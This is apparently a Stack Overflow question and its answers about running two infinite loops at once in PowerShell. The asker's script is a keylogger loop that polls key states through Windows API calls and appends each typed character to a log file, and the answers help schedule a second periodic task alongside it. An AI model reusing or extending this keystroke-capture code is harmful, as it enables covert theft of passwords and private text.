how can I add two true while on the same while? - powershell

Question

I want to keep running forever the appending function to file , but I aslo want to add a second true while that runs x stuff every 10s , but how can I handle that?
I have tried doing while($true){while ($true) {
write-host 'do stuff...'
Start-Sleep -Seconds 60
} } , but I dindt have a luck.
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
I expect my first while true append every log to the file forever , but I also want to keep running every 10s to the second while true , but how can I do this?

Answer 1

Have separate scripts for both actions. One with infinite while loop another with the delay and call them as background jobs.
$AppendJob = Start-Job -FilePath c:\Temp\FirstWhile.ps1 -Name AppenJob
$DelayJob = Start-Job -FilePath c:\Temp\SecondWhile.ps1 -Name DelayJob

Answer 2

Another possible solution not yet mentionned would be to keep you main loop and have a timer event registered for the 10 seconds "loop".
$timer = new-object timers.timer
$action = {
# Edit me... put whatever you want to be done every 10 seconds here instead.
write-host "Timer Elapse Event: $(get-date -Format ‘HH:mm:ss’)" -ForegroundColor Cyan
}
$timer.Interval = 10000 #10 seconds
Register-ObjectEvent -InputObject $timer -EventName elapsed –SourceIdentifier '10secTimer' -Action $action
$timer.start()
while ($true) {
Write-Host 'Append to file...'
Start-Sleep -Seconds 3
}
#to stop run
$timer.stop()
#cleanup
Unregister-Event 10secTimer
You could also use one while loop and make use of a Stopwatch object to check when 10 seconds elapsed and perform another action then.
$StopWatch = New-Object -TypeName 'System.Diagnostics.Stopwatch'
$StopWatch.Start()
while ($true) {
Write-Host 'Do stuff...' -ForegroundColor Cyan
Write-Host "$($StopWatch.Elapsed.Seconds) seconds elapsed"
Start-Sleep -Milliseconds 1000
if ($StopWatch.Elapsed.Seconds -ge 10) {
# Put everything for your 10 seconds here.
Write-Host 'Do other stuff...' -ForegroundColor Green
$StopWatch.Reset()
$StopWatch.Start()
}
}
$StopWatch.Stop()
To answer the "two true on the same while", if you wanted to use 2 While loop imbricated like your example, you'd need to add a break statement in the inner loop if you ever want to return to the outer loop.
while ($true) {
Write-Host 'Outer loop...'
Start-Sleep -Seconds 3
While ($true) {
Write-Host 'Inner loop...'
break; # If you don't break, you'll never exit the inner loop.
}
}

Answer 3

Use the modulus operator % it will calculate the reminder after dividing by a number:
PS > 5 % 2
1
=> 5 /2 = 4 rest 1
PS > 250 % 250
0
Use $I++ In your function to track how often it was executed and use if with %
to execute it every 10 seconds (10 seconds / 0.040 Seconds = 250)
$I = 0
$I++
If (($I % 250) -eq 0) { do x }